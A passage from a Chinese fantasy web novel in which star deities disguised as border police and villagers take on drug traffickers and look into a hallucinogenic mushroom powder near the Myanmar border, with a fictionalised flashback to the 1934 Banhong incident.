不过,这里离缅甸非常近,两国边民互有通婚,长得一样,口音一样,不能说明什么。 三人还是保持着警惕,认真对每间屋子进行搜查。 在他们看不见的高处,有一支黑色的枪管悄悄伸出来,对着他们的头顶。 年长的警察对这对男女问话,问他们怎么没有听到枪声,他们说以为是隔壁缅甸又打仗了,反正也不是头一回,以前村里人还去看看,现在连看都懒得看。 问他们有没有听到什么声音,有没有看到陌生人,都说没有。 另外两个人对屋子进行搜查,很快,房间全都搜遍了,最年轻的警察连卧室里那张大床的床底也看了,一无所获。 女人还调侃了一句:“我们的床不结实,下面有人藏着,会被砸死。” 说这话的时候,还向男人飞了个媚眼。 如此直白赤裸的话,把年轻的警察说得不好意思地扭过头。 年长的警察站起身:“感谢你们的配合,打扰了。” 男人满脸堆笑:“不客气,是我们应该做的。” “对了,还有一个要签字的文件,你们顺便签了。”他从口袋里拿出一份本地政府宣传不酗酒的文件,密密麻麻两页纸,要求认真学习阅读之后签字。 本地男人爱喝自酿酒,喝醉了就打架斗殴打老婆,最近上头确实在抓这事,村口也贴了告示通知。 男人当即拿起笔,痛快地就要签字。 “哎,怎么就签了?你看了没有啊?我们这是很严肃的事情,不是走形势。”年长的警察示意另外两个警察坐下来为他们朗读并逐条解释。 他独自一人往堂屋的二楼走。 在一楼和二楼之间,他停下了脚步,忽然一个纵身,扑进两层之间只有大概只有五十厘米那么高的小格子。 “啪”,从小格子里传出一声枪响,接着,两人扭打着从一层半摔了下来,还纠缠在一起,未分胜负。 与此同时,刚才还在认真听讲解的那对男女暴起,各自从腰间亮出枪,对着两人扣下扳机。 其中一个警察胸口挨了一枪,倒在地上,一动不动。 接着又是一声枪响,这次子弹从最年轻的警察头上擦了过去,他打了一个滚,已到大门边,看见还在地上跟人扭打的年长警察,下意识向他踏出一步,想帮忙。 “出去,叫人!”年长警察百忙之中吐出四个字,阻止了他这种送死行为。 年轻的警察转身就跑,边跑边喊:“这里还有,至少三个,都有枪!” “有钱不赚,要找死,一个月几百块,你玩什么命啊!”那个女人一改方才的温柔妩媚,拿着枪,对准年长警察的脑袋。 “我当警察,根本就不是为了钱!是为了理想!”年长警察怒喝。女人声音温柔:“不是为了钱,是因为钱不够多,妹妹现在就给你一万,放妹妹走好不好?只要今天哥哥高抬贵手,妹妹以后还会按时有孝敬。” “才一万,你可别小看他了,他可是正编,一个月有一万多呢!”一个女声悠然在女人耳边响起。 女人猛然一惊,抬头看见一个短发女人微笑看着她,下一秒,她的手腕就被这个女人抓住,强硬的对准自己的眉心,接着,她看见自己的手指正迅速扣下扳机。 “啪!”与她在床上演戏的男人对着李寅寅射出一颗子弹,李寅寅看都不看,徒手一捞,松开手,子弹“丁当”一声落在地上,她歪过头,对着男人一笑,同时,松开女人的手,让尸体自由落下。 男人愣在当场,他从来没想过,印度电影里演的居然成真了。 李寅寅果断对着这个愣住的男人开枪,血花四测。 她转头对着地上还没被完全制住的男人太阳穴踢了一脚,将他踢晕在地。 年长警察抬头看着这个突然冒出来的女人:“你是什么人?” “别怕,我是你同事的好朋友,不好意思,没经你同意杀了两个,不过我想有这么一个活口应该够用了。” 李寅寅微笑把枪递给他:“来,你先拿着枪,再开一下,记打偏一点,不然这枪上有我的指纹。” 年长警察震惊地看着她,这话说的,一点都不像好人啊! 李寅寅从他的眼神里看出了他在想什么,伸手揉了揉年长警察的头发:“噜噜噜,狗狗乖,听话。” 年长警察的脸色顿时变了:“你怎么知道?” 赶来支援的脚步声越来越近了,他居然还想继续聊天?! 李寅寅的耐心消失,一把抓住他的手,对着男尸的方向随便开了一枪,鄙视地翻了一个白眼:“浪费时间!” 没等他反应过来,院子里就只剩下他和两具尸体一个昏倒的人了。 三秒后,大批穿着制服的人冲进来,那个最年轻的警察看见院子里的情况,大张着嘴,眼睛瞪得快掉出来:“一个人干掉了三个!太牛逼了!!!” 村卫生所里,另一队边防战士发现了柔弱的苑雪、可怜的苏灵衣,还有无助的李寅寅。 三人说明了他们是如何众志成城,携手一心,才把那个闯进来的毒贩拍晕。 以及,祭祀完巫阳的村民们回家,发现村里乱七八糟,竟是发生过一场大战。 有边防战士向他们询问村里是否有虎的时候,他们坚定地回答:“当然有,虎是我们的守护神,它变化万千,神出鬼没。” 就……嗯……挺符合今天晚上的情况,不过,这么封建迷信的说法也没法写到报告里,最终,依旧是随便找了个小型食肉动物受刺激的理由。 苏灵衣的刀伤看着挺惨烈,他平生第一次光荣地坐上了有警笛的车去医院。 苑雪年纪太小,笔录写了一页纸:我听到有人来了,我就躲到卫生所,姐姐让我钻到柜子里,别的都不知道了。 李寅寅的剧情也差不多,就多了一个用苏灵衣吸引注意力,她举起砖头砸人脑袋的内容。 那个人甚至都没死,就一个轻度脑震荡。 她很快就出来了。 这会儿,一夜没睡的缉毒警,还不能睡觉,该写报告的写报告,该查新线索的查新线索。 毕队长和年长警察换了便衣,急匆匆向外走,路上遇到同事拿他俩打趣:“资料还没做完呢,你们俩逃不掉的!” “这可是局长亲自盯的大案!脱了衣服也能把你们抓回来加班。” “毕队,升职记得请吃饭啊!” …… 毕队长微笑着一一应对:“我们先去吃个饭。”“哎,一会儿还回来呢。”“升什么职啊,就这么点货……” 脚下越发的快了,一出门,他就看见李寅寅背着手看宣传栏,她转过脸:“怎么才出来?” 附近就是分局宿舍楼,毕队长家住三楼,他连上楼、掏钥匙的步骤都省了,一手拉着李寅寅,一手搭着年长警察,瞬间移到房间里。 等不及站稳,他便转身向李寅寅下拜:“属下毕月乌,参见星君大人!” 他抬起头,眼里满是激动与兴奋:“我一直想找您,但是您当初要我镇守边关,成为国家的第一道防线,我寸步不敢离,生怕有半点闪失,有负您的嘱托,没脸与您相见。” 毕月乌的声音都在不住地颤抖,他是白虎第五宿,其亮度足可与月争辉,属四大王星之首。 李寅寅一直对他颇为倚重,几乎从不将他留在身边,而是让他单独执行非常重要的任务。 他看李寅寅,就如同最亲的亲人,最敬的尊长。 当年毕月乌姿容极其俊美,号称二十八宿三大美人之一,就因为李寅寅曾对他说过,要他成为国之第一道防线,他放弃了众多更加优渥的条件,毅然选择了西南这片国境线最长,最难守,是非最多的地方。 如今太阳晒黑了他的皮,熏风吹皱了他的脸,已经完全看不出一丁点俊秀少年的痕迹。 见到李寅寅这一刻,他觉得一切都值了,他看着李寅寅的眼睛:“属下,不辱使命!” “起来吧,在人间不用行这种礼了,让人看见……你看,就傻了……”李寅寅扶着他的双臂,让他起来。 三人坐下,毕月乌又是端茶倒水,又是要洗水果,做饭,被李寅寅拉住,按在桌边坐下:“多年不见,我就想跟你说说话,吃什么不重要。” 毕月乌有千言万语想对李寅寅说,但又不知从何说起,说破案的那些事情,只怕太鸡毛蒜皮,星君不爱听,可是说别的,他也没有什么太多可说,这么多年,他的人生全都是破案破案破案。 他终于想起介绍身旁的年长警察:“这是小杜,别看它看起来年纪大,其实,才七岁,在狗里算大,相当于人类四十岁,不过做为人类登记的年龄才二十岁,身手也像二十岁……” 说了几句,他自己都觉得自己说话颠三倒四,乱七八糟,完全不像过去在李寅寅面前汇报军情时的从容不迫,镇定自若……好丢脸啊! 他现在激动地连舌头都有些打结了,脑子更是一片混乱,惭愧加激动,让他脸都胀红了。 李寅寅看出他的窘迫,便主动问毕月乌:“这位小杜不是你的星官啊,怎么你们关系这么好呀?” 毕月乌忙回答:“他是我战友的孙子……” “啊????”李寅寅震惊了:“你说的战友……是……缉毒犬?” “不是不是,他是我战友孙子养的狗,他家满门忠烈,功德深厚,临走前,他们把它托付给我,我就……那个……” 毕月乌不好意思说下去,毕竟是以权谋私了。 但是李寅寅岂是能让他把话憋回去的人,催逼着他说出来,毕月乌只得从命。 毕月乌上一张脸的战友在80年代的时候牺牲了,警号封存。 后来,他的儿子继承了父亲的遗志,也做了缉毒警察,积劳成疾,突发心梗,警号再次封存。 前几年,他的孙子继承了祖父和父亲的警号,就在上个月,他在抓捕毒贩的过程中,牺牲了,警号第三次封存。 由于没有直系亲属,那个警号将会永久封存。 这只七岁的杜宾犬被毕月乌收养,但是它总是会偷偷跑出来,一直趴在公安局的门口,眼巴巴地望着孙子以前的那个办公室,一有穿制服的人从办公楼出来,它就激动地站起来,然后再沮丧地趴下去。 它不吃也不喝,有人把肉喂到它嘴边,它也不张一下,一天天的憔悴下去。 眼看着杜宾犬要不行了,毕月乌实在受不了,他残忍地告诉杜宾犬:主人是绝对不可能回来了,你要是故意寻死,你主人地下有知,他们也不得安宁。 执拗的杜宾犬根本不相信主人死了,它认定主人只是被坏局长按住加班了而已,它要接主人下班! 一家三代以身殉职,功德无量,早就走加急通道,转世去好人家投胎了,就算毕月乌再有本事,也没办法把它的主人灵魂拉出来劝劝它。 只得骗它说:你主人死前最大的遗憾就是那个警号从此无人继承,我正在想办法,让你能化形成人,做他们家的直系亲属,要是你死了,再也没有人开启警号,他们从此就会被人忘记,到那个时候,他们就是真正的死掉了! 杜宾犬相信了,它想当警察。 毕月乌用自己的关系,违规让杜宾犬在建国后化形成人,给他安排了身份,让他进了系统。 杜宾犬如愿成为一名缉毒警,警号第四次重启。 现在,李寅寅终于明白,杜宾犬为什么会对那个女毒贩说:“我当警察不是为了钱,是为了理想。” 它真的是为了理想,它的理想就是继承主人一家三代的遗志。 毕月乌带着李寅寅去了三代人的墓地,这一片墓地很特别,虽然有碑,但是所有的墓碑上都没有一个字,更没有照片。 “为免前来祭拜的亲人被连累,牺牲缉毒警的墓是不立墓碑的。”毕月乌叹息道。 杜宾犬恼怒地咬着牙:“我就说要立!我倒要看看,谁来伏击我!” 毕月乌伸手搭住他的肩膀,拍拍:“你也不想看见他们的墓被人毁坏吧,你又不能一直守在这里。” 杜宾犬紧握双拳:那我就把认识他们的毒贩都杀光!” “说起这个……小于,就是他……”毕月乌拍了拍其中一个墓碑,“他追查的一个案子,好像跟你这几天住的那个庙有关系。” 李寅寅睁大眼睛:“要是他追查的药是开明六巫炼的,那这可就玩大了……不是,开明六巫应该不干这事吧,他们想要钱,自己挖金子就行了啊。” 毕月乌摇摇头:“不是钱的问题,是蘑菇粉,所有吃过蘑菇粉的人,都会幻想自己进入仙境,原来只是一些凡人受到影响,现在已经有灵能者也不受控制了。” 李寅寅试探道:“你说的灵能者……不会姓姜吧……姜真人?” “姜真人……有他,不止是他。那个庙产登记人叫苑雪,可是她那么胆小,真的是她吗?星君知不知道她有没有跟别人往来?” 李寅寅眨眨眼睛:“那就只有开明六巫的巫履了,说不定开明六巫除了巫阳都有份参加。” 毕月乌摇头:“如果是开明六巫,我应该能感觉到,可是,一点头绪也没有。我想,应该是在开明六巫之上的力量。” 李寅寅明白他的意思了,在人间,开明六巫的力量与二十八宿差不多,在那之上,就不是毕月乌能打得动的范围了。 但是,如果是如此高的力量,为什么要用药控制人类呢?用法术不就行了么?难道也是怕雷劈? 真没用。 干坏事还怕雷劈。 第68章 角木蛟 这次毕月乌带队抓着的是大鱼,里面装的不是草,全是白货,纯度极高。 为了这批大货的安全,他们还舍出了一队人,带着不值钱的草和木头走另一条山路,用来迷惑边防和缉毒。 这里是他们新发现的好路: 大树遮天,无人机巡逻什么都看不清。 小路崎岖难行,边防一天也只够来一趟,只要等他们走了,就可以出发。 民风淳朴而彪悍,几个村落里的人属于生佤,几乎不与汉人往来,也不懂汉话,不怕他们去告发。 谁知道,这路上有鬼打墙,还有大老虎,专咬他们的人,最邪门的是,边防和缉毒怎么来得这么快! 中缅交界某村,大屋内烟雾缭绕,几个男人嘴里叼着烟,看着电脑屏幕上的最新缉毒成果展示骂骂咧咧。 “我就奇怪,那个村子都有一百多年了,怎么可能没人走过那条路,肯定是他们也遇到了鬼打墙才不走的!”白衣男子皱着眉头。 “呵,老三就是仗着自己有枪,从来不拜神,我就知道他要出事,你们也知道,我劝过他多少次,他就是不听!活该!”系着红腰带的壮汉一脸的幸灾乐祸。 白衣男子斜了他一眼:“好歹是自家兄弟。” “干活的时候废物一个,分钱的时候跑得最快,我没他这样的兄弟!” 一个面相慈祥的老者拍了拍桌子:“现在说这些有什么用,我叫你们来,是想想办法,找一条新路出来,不是让你们来嘲笑别人的!要是骂老三有用,我安排你们都去探监,当面骂个够,好不好?!” 白衣男子将手里的烟灭掉:“我知道一条新路,那里有个银矿村,他们以前挺有钱,开银厂的,后来没落了,现在都憋着主意想赚一把,只要咱们稍微给他们一点,保准让他们就跟着咱们干了!” 老者想了想问道:“你估计他们要多少?” “一家给个五千块足够,一个村子二十家人,十万块足够,就算头人家多给一点,十五万!咱们走一趟货,就能赚到两百多万,听说最近管得严,货少,那些大城市里的道友们都快疯了,单趟赚四百万都有可能。” 老者点点头:“好,这事就由你来负责。” 史料记载在这片山中,曾有一个古国,自夏朝开始,直至解放前还有人曾见过他们,后来,日本鬼子进村,连滇缅一带都不得安宁,从此,那个古国便一夜消失。 当地老人说,他们都是仙人,原本是在地上修行的,被战火所扰,他们就一起回到仙界了。 曾有仙人国度的地方,必然灵气充沛! 从十年前开始,就不断有人搬到这里来,有村里的好房子不住,就是要住山洞。 这些来此住进洞里的人,都是手里有个几千万的城里人,光吃理财利息就能躺平一辈子。 想再往上升一升阶级,升不了。 往下掉到为衣食所苦,又不至于。 他们的钱往往不是靠卖体力,或是干了什么惊心动魄大事业得来的,不是撞上了时代的风口,就是连他们自己都不知道为什么。 这种人,就特别容易吸引来“大师”,稍微忽悠几句,他们就觉得“大师说得对啊!” 自己能赚到钱绝是有神护佑,有天赋,跟神仙关系还不错。 之所以无法再往上进一步,是因为再往上就不是钱的事了,还得要权。 大师会告诉他们:你有仙缘在身,凡尘俗事与你无缘,自然拿不到凡人的权势。 既然有仙缘,那么随便修炼一番,就能摆脱苦弱血肉,白日飞升、长生不老。 哪里有“大师”,哪里有“修仙圣地”,他们就冲。 该上的当一个都不少,有人骂大师是骗子,他们还要替大师力证清白。 旧日的银矿村早已只剩下名字。 银矿早就被挖完了,只留下了一些人工开凿过的痕迹,有些洞开得特别浅,挖矿的人往下挖了一段,发现矿脉绝了,便转身离开,如今这些半天然半人工的山洞里有不少被人改造成简单的住所。 这片地方被称为“洞天福地。” 这些人一窝蜂的住进洞天福地之后,原先县里还有人管管,劝他们别在那住着,地方太偏了有野生动物,地势不好下雨容易塌方。 劝不动,根本劝不动,过了一段时间,也没出什么事,就再没人来劝。 村里人倒是赚得很开心,现在所有的山都是有人承包的,山洞也是有主的,住山洞也要给月租,食物和燃料也不是免费的,想要必须给钱,村里有自建的外卖平台,不接受点菜,村里人送上去什么就吃什么。 人也不挑,都修仙了,还执着于口腹之欲,纠结于性价比,成何体统! 毕月乌说的那些不正常的人,就在这群人,他们全都吃过了苑雪的蘑菇粉,还亲眼看见苑雪和巫履两人登云而去。 拍下来之后,却只能看到天上有几道放射状的云彩,云上有些太阳反射的紫光。 他们越发相信自己看到的是神仙,神仙是不能被拍下来的! 苑雪坚决不承认她的蘑菇粉有这种效果:“就是去结界里看看,没有让他们起飞嘎!我要是会飞,我还要用蘑菇粉吗?他们肯定自己吃了什么不该吃的东西!” 最近洞天福地出了大事,接连有三个人从高处跳下去,两个摔死,一个摔残。 那个摔残了的人躺在医院里还在努力想爬窗子往下跳,嘴里不住的念叨:“来不及了,来不及了,门要关了!” 护士拦着他,他抽了护士一个大嘴巴,骂护士是邪魔所化,想阻他升仙之路,还拿着水果刀追着要捅死她,要不是毕月乌的同事正好在医院里,当场把他打晕,小护士只怕在劫难逃。 脑科医院扫描不出来大脑有任何病变,虽然知道他吃了蘑菇,但是那蘑菇并不是特别罕见的物种,吃完后的不良症状在很多文献里都有记载,它的毒性甚至还不如见手青。 毕月乌怀疑那些人是吃了蘑菇以后,产生幻觉才跳楼的,但是,省城,包括京里来的脑科和精神科专家,还有植物学家、毒理学家,都告诉他三个字——不可能! 毕月乌不辞辛苦,亲自带队走访了整个旧银厂“洞天福地”的居民。 有人也听见了神仙的召唤,但他们说,神仙让他们好好修行,不要急于求成,仙阶未成,就算踏出去了,也必然是万丈深渊。 “那几个跳崖的人肯定不是听见了神仙的声音,是邪魔的!勾他们自轻生命,神仙怎么可能这样!神仙就让我每天早睡早起,五点起来爬山,呼吸林间最清新的空气,修行吐纳。” “就是,他们自己心思不纯,引来邪魔,我们怎么就没事!” 毕月乌只恨自己怎么没有曾经的力量,可以直接看到他们的脑子里面到底装了什么。 现代医学是半点帮不上忙,好不容易找了一个据说经常听见神仙说话的人,他愿意为了证明神仙的存在,自愿去脑科医院做检测,在头上戴着贴满电极片拖满电线的帽子,戴满24小时,检查脑电波。 他主动吃下蘑菇粉,过了二十九分钟发作,整个人的肢体扭动翻转,做出在清醒状态下绝对做不出的动作。 不幸的是,只有病房里的监控拍到了他扭动的状态,监测仪……由于他动作太大,掉了下来,脑电波是一点异常都没抓住。 本来他自己提出要么再吃第二次? 但是,这事已经惊动了高层,让人吃致幻药之后做实验,违背医学伦理,主动的都不行,医院不让做了。 不吃蘑菇粉,他的脑电波就特别正常,看起来,他只是嘴上坚信自己是被神选中的男人。 医院只得判定他为“臆症”。 臆症,就没法查没法治,否则那么多“她喜欢我,不理我是因为害羞,找别的男人是欲擒欲纵”的臆症患者,要把脑科医院挤爆了。 毕月乌有一个想法,他认为除了蘑菇粉之外,也许是洞天福地那里的水质,或是日常饮食有问题,叠加出的效果,让人脑子不正常,看到了幻觉。 但是,他光是抓毒贩子和日常排查就很忙,不可能一直蹲守在洞天福地好多天,就为了看看他们到底吃了什么犯病。 李寅寅自告奋勇:“你安心工作,我去!” 她拎着始作俑者苑雪一同去了旧银厂的洞天福地。 洞天福地所在的村子跟李寅寅想的完全不一样,俨然一副社会主义新农村的派头,水泥路铺得整整齐齐,每家小院里都有代步车,家家屋顶上都顶着太阳能热水器,村头有电信移动联动的网络基站,村中间有三通一达的站点、甚至还有蜜雪冰城……的竞争对手——甜啦啦。 除了快递比寄大城市要慢三天左右,别的什么都好。 见了李寅寅,村口大妈热情非常:“你也是来修仙的?” “嗯!”李寅寅应了一声。 大妈双眼放光:“来我家的山头住吧,我家的洞府位置高,比别家的视野更好,方便你吸收天地灵气,日月精华,有风道,有火炉,晚上也不冷,一天三餐我们家包送,有洗澡的隔间,还有卫生间,不用半夜出去!” “位置高啊?那要是有什么事爬上爬下的,多累啊。” 大妈撇撇嘴:“能有什么事?修仙之前,就应该把人间俗事都安排好嘎!要是你成仙了,还能动不动就下凡来看看家里人?不可能嘎!小姑娘,我可劝你们想清楚了,仙有仙道……” 李寅寅在心里跟着念:“……花有花道,流有流川……” 大妈还在说个不停,意思就是:要是家里还惦记的人惦记的事,暂时不进洞府住着也行,可以先去她家的民宿里住着,把凡尘俗事先料理清楚,修仙就应该专心修仙,别整天惦记着有事下山,这样是修不出结果的。 见李寅寅还是很犹豫,大妈主动提出她可以只住一晚,先体验一下。 “一周吧,一晚也体验不出什么。”李寅寅说。 大妈很高兴地答应了:“不过今天来不及,还得找人明天上去收拾一下,搬些煤上去。” “你们不烧木头?” 大妈笑道:“哪能烧木头,现在都森林保护了,要是都烧木头,这片林子都不够烧的,再说,木头也不如煤暖和啊!烧木头半夜还得起来添柴。 今天晚上你们就住我家的民宿,本来要三百块一晚的,给你们算便宜点,一百块!” 李寅寅和苑雪两人就这么住进了大妈家。 在这村子里,一百块算贵的,最便宜的十块就能住,不过大妈家有优势,她家是村里的老房子,她家祖祖辈辈住在这里,已经好多代人了。 李寅寅好奇地向她打听那个传说中的古国。 “就是一夜之间,人都没啦!还有考古队的去过,说家具都没动,不过,他们祭祀用的银器和玉器也都没了,考古队的人说,可能是他们走后,被路过的人拿走了。” 苑雪对他们的长生更有兴趣:“他们真的是从夏朝活到了民国吗?” “考古队的人测啦,他们平时用的东西,有一些是六千多年前的样式,外头早就不用的,还有在他们那里发现的星图,跟现在的不一样……还有旗子,有一块民国的布,上面有一个图案,考古队的人说,那是他们的图腾,跟画在山洞里六千多年前的图腾一模一样,那就说明,那个地方,一直都是这个国家在管着。” 在李寅寅看来,这些都不是那个古国从夏朝延续至今的证据,有些功能单一的家具,比如碗……人面鱼纹盆跟现在的盆构造有什么不得了的区别吗? 至于那个国家的王室是不是同一个,战国初年就有田氏代替姜氏成为齐国统治者的事情,史称“田氏代齐”,只要国号不变,里面的人都不知道换多少轮了。 不像南京,建城以后,每次有点风吹草动,就会被改名,一共有七十多个名字,也就输给了有181个笔名的周树人。 苑雪又问起了山上死人的事情,大妈赶紧解释:“那是他们急于求成,入魔障啦,真仙哪能让人跳下去的,要是跳楼就能成仙,那这仙也成得太容易了,还修炼干什么。你们记着啊,仙人,都是引人向善,过得更好,不会让人去死。” 深夜,李寅寅拉着苑雪,以缩地成寸进入古国遗址。 这里看起来是挺正常的小村庄,地上有用石板铺成的路,房屋的墙壁是用砖砌成的,并不原始。 只是因为长久没有人居住,屋顶几乎都塌了,地上的石板缝隙里也长满了草,有些石板被草棵挤碎。 还有几栋小房子的屋顶是直接搭的石板片,没有用房梁,还好好的立在好里。 李寅寅走进屋子,只见桌椅犹在,林子里湿润干净,几乎没有灰,就连角落里的火塘里的灰也在。 她进了几个屋子,转出来看见苑雪坐在草丛里,嘴巴一动一动,在嚼花。 “又吃上了?” “嘿嘿,你也来点?那边有好多呢。” 顺着苑雪指的方向,李寅寅发现那片荒地看起来跟周围不太一样,周围都是树,除了很大的树可能是人为栽种之外,那些细条条,看树龄不超过二十年的小树,绝对是自然播种的结果。 为什么那片地只有花草,却没有树? 李寅寅伸手按在地面上,方圆三米的大地颤动,紧接着,花花草草和泥巴,一起向高处升起,地下埋藏的东西出现在两人眼前。 那是几十个大瓮,还有一大片大箱子。 每个瓮和箱子上都写着字:巴热、朵布然格、西纳、西古、顿格朗、达艾块、那革更、央荣…… 这些都是佤族人的姓氏。 揭开瓮,里面是铜钱、银元、还有一堆不值钱的金元券和法币。 箱子里则装着各种零碎物件,包括首饰、钗环、绣品,以及看起来像是给小孩子玩的小木马、拨浪鼓。 有一个最大的箱子,里面装着考古队欲寻之而不得的成套银器和玉器,祭祀时用的面具和各种物件。 还有一个最小的箱子,箱子十分精美,浮雕着花草与小虫。箱盖上盖着一个褐色的手掌印,那手掌很小,看起来像是三岁小孩的手。 “这个里面不会是什么诅咒吧……”苑雪十分害怕,“等我走远你再开。” 苑雪化为原形蹦蹦跳跳的逃远了:“好啦~开吧~里面有什么呀~” “没事,回来吧,都是玩具。”李寅寅大声喊道。 里面装的东西大概还没箱子值钱,捏得很草率的泥人、打磨得很草率的石头球串成的链子,还有一根笔直的树枝、还有一片已经枯成粉渣的叶子……嗯,它生前应该是一片形状很漂亮的叶子。 “他们不是突然消失,是有预谋的消失。”李寅寅拍拍手掌,悬在半空的泥巴和花草又稀里哗啦的掉下来,恢复原状。 “他们把家里的细软都藏这了,等着回来的时候继续过日子呢。” 苑雪疑惑不解,手里卡卡盘着一串石头球链子:“那他们去哪了呢?” “不知道……你拿人家链子干什么?” “嘿嘿,好看。” “这会儿不怕诅咒了?” “不怕!” 民国以后的儿童玩具算不得是文物,李寅寅也没管她,确定周围没有任何线索了,才带着苑雪回去。 回去后没多久,村里传来狗叫、人叫、车声…… 李寅寅和苑雪看见几队穿着制服的人,从村长家出来,两人抬一个人,一共有十几个,一起上了警车,后面还有人牵着骡子,骡子背上沉沉的压着大包。 哦~这熟悉的场景。 两人如离弦之箭,跑去村长家看热闹。 好多人都在村长家,村长坐在堂屋正中间,一手夹着烟卷,一边眉飞色舞地对众人讲述那个人是怎么拿着一捆现钞到自己家里来,要求他不要多管闲事,还要安排人帮他放哨,他是怎么请这帮人全部进自己家来喝茶,然后下药放倒,再报警把他们都带走的。 有人担忧地问:“你这样不怕他们的人报复嘛?” 村长嘿嘿一笑:“他们的人?死绝了就不怕报复了嘛!” “啷个死得绝嗦。” 村长悠然吐了一口烟:“他们敢来就抓起来,不就死绝了嘛?” “他们要是偷袭喃?” 另一个人用手肘撞撞他:“村长会法术嘎,你忘啦?” 村长把得意的内容都炫完,神色严肃起来:“你们也都给我记好了,谁要是敢收黑钱,别怪我不客气!” “不会不会,我们是向毛主席保证过的!” “要是收黑钱,就算毛主席原谅我们,十七王也要索魂嘎。” 村长把烟卷按灭:“行了,都回去睡觉。” 看热闹的村民三三两两散去,只剩下李寅寅和苑雪。 村长的眼睛死死盯着李寅寅:“你是……” “你没看错。” 村长脸上露出迷之微笑,像看别人栽跟头,偷着得意的毛头小子,跟刚才那个霸气十足的村长完全不一样。 “是不是毕月乌把事情搞砸了,才求你来帮他做主的?哈哈哈哈哈哈哈哈,我就知道,他就是没用,输了几十个人头,就算是你来,他也翻不了盘啦!” 李寅寅困惑地看着他:“你在说什么?” “不是毕月乌眼看着跟我打赌要输了,才求你来的吗?哼哼,来不及了,今天晚上抓到的人,是我的!” 李寅寅默默打起电话,拨通小天才电话手表,许久,那头才接起,传来青龙沙哑的声音:“又怎么了?” “喜讯、特大喜讯,你们青龙星天要完蛋了!你的第一猛将角木蛟精神错乱,胡言乱语,从此你可以安心当你的人类,青龙星天就由我帮你代管了!” 没声音。 李寅寅看了一眼,电话已经挂断了。 下一秒,尾火虎拉着孟清华出现在屋里。 孟清华的神色还是很冷漠,但是一向讲究外形的他,此时不仅还穿着奥特曼睡衣,更是一半夹在睡裤里,一半拖在外面,足以证明他的急切。 角木蛟双眼圆睁:“尾宿?是你!这位是……” 尾火虎沉声道:“这是我们的星君孟章大人。” “孟章大人?我怎么没感觉?”村长不解。 “我也不知道,但是,白虎星君监兵大人已经确认过他的身份了。” 角木蛟皱眉:“白虎一向与我们争斗不休,她说的话怎么能当真!” “角宿不得放肆!”尾火虎瞪了他一眼,“如今监兵大人并非下凡历劫,哪有争斗。” 四极星君是正神,只有在敌对状态才会遵循兵不厌诈的行为准则,其他情况下再骗星宿,就是品行低劣,会有亏功德。 角木蛟仔细想想,堂堂白虎星君,确实不至于为了骗了而损功德。 他不情不愿地只得认了,俯身下拜:“中央钧天角木蛟拜见孟章大人,拜见白虎星君监兵大人。” 李寅寅坐下看着孟清华:“青龙,你的人跑到我的西南地界,你有什么头绪吗?” 青龙什么都不知道,青龙卡在轮回井里了,但青龙还是要替下属撑腰。 孟清华平静回答:“青龙星天的人从不擅闯他人领地,如果他做了,那必然有他的道理,角宿,你说吧,只要你有理,谁也不能欺负你。” 角木蛟心中微动,虽然他还是没感觉到这个小屁孩就是自己的星君,但是这种熟悉的,令人安心的语气,让他心中的陌生与疑惑去了三分。 “是,属下并非擅闯白虎星天下辖之地,是白虎七宿的毕月乌与参水猿拉着属下来的。” 他们三人在1840年最后一次历劫之时,打成一团,角木蛟被两人夹击,且打且逃……且打且战略转进! 然后,西南天空爆开金光,刺得他们什么都看不见,失去了意识,再醒来,已经转世进了昆明某位官员家中,当时不知日月,只听家里人说老佛爷刚刚西狩。 许多年后,角木蛟长大成人,想起自己的职责,带着家里仆从回到班老,誓与英国侵略者不共戴天。 老班弄王临终前,指定他为继承人,角木蛟没多想,一心做好自己的事,他知道还有十六路大王与英国人对战,其中有两路尤为骁勇,心生结交之意,却始终戎马倥偬,不得空。 直至两年后的1934年,英国人已经摆明了要入侵佤山,要是再各自为战,只怕顶不住。 角木蛟终于约见了传说中与自己一样勇猛的两位大王: 蛮国王参水猿,木烈王毕月乌。 ……上辈子死在一处的老对头! 三人尴尬的静默了一秒后,同时扬起过去只有在蟠桃会相遇时,才会露出的灿烂笑容: “班弄王,久仰久仰。” “木烈王,失敬失敬。” 参水猿眼睛一闭,双手抱拳:“俺也一样。” 见面的尴尬,很快就被迫在眉睫的战事结束,他们制定作战方争。 1934年6月1日,班洪事件爆发,各族百姓纷纷声援,四个月的战事,迫使英国人离开班洪地区,不得不坐下谈判。 1936年1月,角木蛟看出局势微妙,只有边境人民,不足以给英国人施压,他决定联合另外十六王,向全国人民讲述英国人的侵略与本地人民绝不退让的态度。 有几位王还在犹豫,他们并非不想抗英,只是担心班洪王会不会倚仗带头者的身份,在胜利之后,顺便把他们的地盘也给吞了。 令他们犹豫的原因还有强大的木烈王和蛮国王并没有来参加会议,是不是说明,他们俩并不支持班洪王,或者他俩发现班洪王其实另有阴谋? 在众王心神不宁之时,参水猿与毕月乌来了,他们不仅来了,还带来了大量金银与代表着调兵权力的令牌。 两人同时发同誓言:“我们两族,愿将所有金银拿出购买军需,所有儿郎,供联军调遣,如违此言,愿死于虎腹之中!” 1936年2月2日,十七王联盟向全国发出《卡瓦十七王敬告祖国同胞书》,并砍断手指立誓:“誓断头颅,不失守土之责,誓洒热血,不作英殖之奴。虽剩一枪一弹一妇一孺,身可碎而心不可渝也。” 五年后,英国人趁中国抗日压力极大,强迫中方划下了“1941年线”,角木蛟、参水猿和毕月乌所在的班老被划给了缅甸。 当时二战战场实在压力山大,三人也没说什么,与英国人相比,日本人确实更不是人。 他们深以为耻,身为华夏的二十八宿,居然待在缅甸地盘……但是他们不能走,人留在这且坚持自己是中国人,还能叫自古以来,人走了,什么都不是。 好不容易扛到了1949年新中国成立了,还派大部队来剿匪,三人觉得部队都来了……来都来了,不得把班老一拨带走啊? 为此他们一直在努力活动,向生活在班老的各族人民说明班老一直是中国不可分割的一部分,别忘了本,忘了祖宗。 有个佤族族长的儿子去昆明学习,都被英国人悄悄传播谣言,说他是被杀了。 害得族长儿子匆匆跑回来,证明自己活着,结果还被内奸说他不是人,是变形罗刹鬼。 三人中唯一真有法力的角木蛟不得不用他引以为傲的法力搞了一场他最瞧不上的装神弄鬼把戏,让大家相信,这人是活人,以及寨子里有个内奸收了英国人的钱,胡说八道,指人为鬼。 他们三个一直在等,等国家收回班老。 结果,1953年,匪剿完了,大部队要退回“1941年线”。 这可太丢人了。 唐努乌梁海、海参崴、库页岛被划拉走,必然是因为玄武星天是一群什么事都不管的废物。 如今的西南星天有激进派角木蛟,保守派参水猿和毕月乌三个星官坐镇,要是还守不住一个班老,还不如去十八层地狱当狱卒,别出来见人了。 